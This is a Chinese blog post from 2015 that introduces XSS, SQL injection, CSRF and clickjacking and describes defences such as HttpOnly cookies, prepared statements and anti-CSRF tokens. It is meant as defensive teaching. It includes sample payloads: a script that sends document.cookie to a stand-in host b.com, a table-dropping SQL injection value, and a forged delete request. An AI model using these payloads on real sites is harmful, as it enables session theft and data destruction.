不急不徐,持之以恒。

http://blog.gopersist.com/

  BlogJava :: 首页 :: 新随笔 :: 联系 :: 聚合  :: 管理 ::
  24 随笔 :: 0 文章 :: 52 评论 :: 0 Trackbacks

对于一个Web应用来说,可能会面临很多不同的攻击。下面的内容将介绍一些常见的攻击方法,以及面对这些攻击的防御手段。

一、跨站脚本攻击(XSS)

跨站脚本攻击的英文全称是Cross Site Script,为了和样式表区分,缩写为XSS。发生的原因是网站将用户输入的内容输出到页面上,在这个过程中可能有恶意代码被浏览器执行。

跨站脚本攻击可以分为两种:

1). 反射型XSS

它是通过诱使用户打开一个恶意链接,服务端将链接中参数的恶意代码渲染到页面中,再传递给用户由浏览器执行,从而达到攻击的目的。如下面的链接:

http://a.com/a.jsp?name=xss<script>alert(1)</script> 

a.jsp将页面渲染成下面的html:

Hello xss<script>alert(1)</script> 

这时浏览器将会弹出提示框。

2). 持久型XSS

持久型XSS将恶意代码提交给服务器,并且存储在服务器端,当用户访问相关内容时再渲染到页面中,以达到攻击的目的,它的危害更大。

比如,攻击者写了一篇带恶意JS代码的博客,文章发表后,所有访问该博客文章的用户都会执行这段恶意JS。

Cookie劫持

Cookie中一般保存了当前用户的登录凭证,如果可以得到,往往意味着可直接进入用户帐户,而Cookie劫持也是最常见的XSS攻击。以上面提过的反射型XSS的例子来说,可以像下面这样操作:

首先诱使用户打开下面的链接:

http://a.com/a.jsp?name=xss<script src=http://b.com/b.js></script> 

用户打开链接后,会加载b.js,并执行b.js中的代码。b.js中存储了以下JS代码:

var img = document.createElement("img"); img.src = "http://b.com/log?" + escape(document.cookie); document.body.appendChild(img); 

上面的代码会向b.com请求一张图片,但实际上是将当前页面的cookie发到了b.com的服务器上。这样就完成了窃取cookie的过程。

防御Cookie劫持的一个简单的方法是在Set-Cookie时加上HttpOnly标识,浏览器禁止JavaScript访问带HttpOnly属性的Cookie。

XSS的防御

1). 输入检查

对输入数据做检查,比如用户名只允许是字母和数字,邮箱必须是指定格式。一定要在后台做检查,否则数据可能绕过前端检查直接发给服务器。一般前后端都做检查,这样前端可以挡掉大部分无效数据。

对特殊字符做编码或过滤,但因为不知道输出时的语境,所以可能会做不适当的过滤,最好是在输出时具体情况具体处理。

2). 输出检查

对渲染到HTML中内容执行HtmlEncode,对渲染到JavaScript中的内容执行JavascriptEncode。

另外还可以使用一些做XSS检查的开源项目。

二、SQL注入

SQL注入常常会听到,它与XSS类似,是由于用户提交的数据被当成命令来执行而造成的。下面是一个SQL注入的例子:

String sql = "select * from user where username = '" + username + "'"; 

像上面的SQL语句,如果用户提交的username参数是leo,则数据库执行的SQL为:

select * from user where username = 'leo' 

但如果用户提交的username参数是leo’; drop table user–,那执行的SQL为:

select * from user where username = 'leo'; drop table user--' 

在查询数据后,又执行了一个删除表的操作,这样的后果非常严重。

SQL注入的防御

防止SQL注入最好的方法是使用预编译语句,如下面所示:

String sql = "select * from user where username = ?"; PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setString(1, username); ResultSet results = pstmt.executeQuery(); 

不同语言的预编译方法不同,但基本都可以处理。

如果遇到无法使用预编译方法时,只能像防止XSS那样对参数进行检查和编码。

三、跨站请求伪造(CSRF)

跨站请求伪造的英文全称是Cross Site Request Forgery,是由于操作所需的所有参数都能被攻击者得到,进而构造出一个伪造的请求,在用户不知情的情况下被执行。看下面一个例子:

如果a.com网站需要用户登录后可以删除博客,删除博客的请求地址如下:

GET http://a.com/blog/delete?id=1 

当用户登录a.com后,又打开了http://b.com/b.html,其中有下面的内容:

<img src="http://a.com/blog/delete?id=1"/> 

这时会以用户在a.com的身份发送http://a.com/blog/delete?id=1,删除那篇博客。

CSRF的防御

  1. 验证码

CSRF是在用户不知情的情况下构造的网络情况,验证码则强制用户与应用交互,所以验证码可以很好得防止CSRF。但不能什么请求都加验证码。

  1. referer检查

检查请求header中的referer也能帮助防止CSRF攻击,但服务器不是总能拿到referer,浏览器可能出于安全或隐私而不发送referer,所以也不常用。倒是图片防盗链中用得很多。

  1. Anti CSRF Token

更多的是生成一个随机的token,在用户提交数据的同时提交这个token,服务器端比对后如果不正确,则拒绝执行操作。

四、点击劫持(ClickJacking)

点击劫持是从视觉上欺骗用户。攻击者使用一个透明的iframe覆盖在一个网页上,诱使用户在该网页上操作,而实际点击却是点在透明的iframe页面。

点击劫持延伸出了很多攻击方式,有图片覆盖攻击、拖拽劫持等。

点击劫持的防御

针对iframe的攻击,可使用一个HTTP头:X-Frame-Options,它有三种可选值:

  • DENY: 禁止任何页面的frame加载;
  • SAMEORIGIN:只有同源页面的frame可加载;
  • ALLOW-FROM:可定义允许frame加载的页面地址。

针对图片覆盖攻击,则注意使用预防XSS的方法,防止HTML和JS注入。

微信订阅号:
原文地址:http://blog.gopersist.com/2015/04/25/web-security-4/

posted on 2015-04-25 15:40 老林 阅读(6069) 评论(2)  编辑  收藏 所属分类: 安全

评论

# re: Web安全技术(4)-常见的攻击和防御 2015-04-26 20:47 京山游侠
楼主这一系列文章总结得不错。  回复  更多评论
  

# re: Web安全技术(4)-常见的攻击和防御[未登录] 2015-05-04 09:22
了解什么是XSS,不错  回复  更多评论
  


只有注册用户登录后才能发表评论。


网站导航: